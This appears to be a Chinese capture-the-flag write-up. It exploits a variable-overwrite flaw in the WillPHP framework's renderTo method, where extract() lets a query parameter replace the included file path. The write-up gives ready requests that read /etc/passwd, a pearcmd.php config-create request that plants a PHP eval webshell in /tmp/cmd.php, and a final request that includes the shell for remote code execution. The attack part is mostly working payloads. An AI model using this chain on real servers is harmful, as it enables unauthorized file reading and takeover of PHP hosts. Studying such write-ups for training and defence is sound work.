题目描述
解题过程
WillPHP PHP开发框架的Web服务,其中给出了控制器源码和框架下载等信息
信息收集过程中,在Gitte中找到一个使用该框架的未完善的web应用
下载到本地调试跟踪参数变量,根据给出的代码可知传入参数 name和value, 任意传参跟踪代码
/index.php?name=a&value=b
跳过一些无用的方法,发现一处可以通过可控变量来包含文件的位置
位置: willphp/wiphp/Tple.php renderTo方法
public static function renderTo($vfile, $_vars = []) {
$m = strtolower(__MODULE__);
$cfile = 'view-'.$m.'_'.basename($vfile).'.php';
if (basename($vfile) == 'jump.html') {
$cfile = 'view-jump.html.php';
}
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {
$strs = self::comp(file_get_contents($vfile), $_vars);
file_put_contents($cfile, $strs);
}
extract($_vars);
include $cfile;
}
主要的可控位置为 extract($_vars) ,这里通过 extract函数将 $cfile 覆盖为其他文件,就可以文件包含,传入Payload
/index.php?name=cfile&value=/etc/passwd
这里就成功找到了一处文件包含来进行更多攻击,但Flag文件名未知,由于CTF多数赛题为Docker搭建,可以通过P神之前但一篇文章来进行RCE
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
发送EXP
/index.php?+config-create+/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/%<?=eval($_POST[cmd])?>+/tmp/cmd.php
再通过文件包含 包含 /tmp/cmd.php 文件,获取权限
/index.php?name=cfile&value=/tmp/cmd.php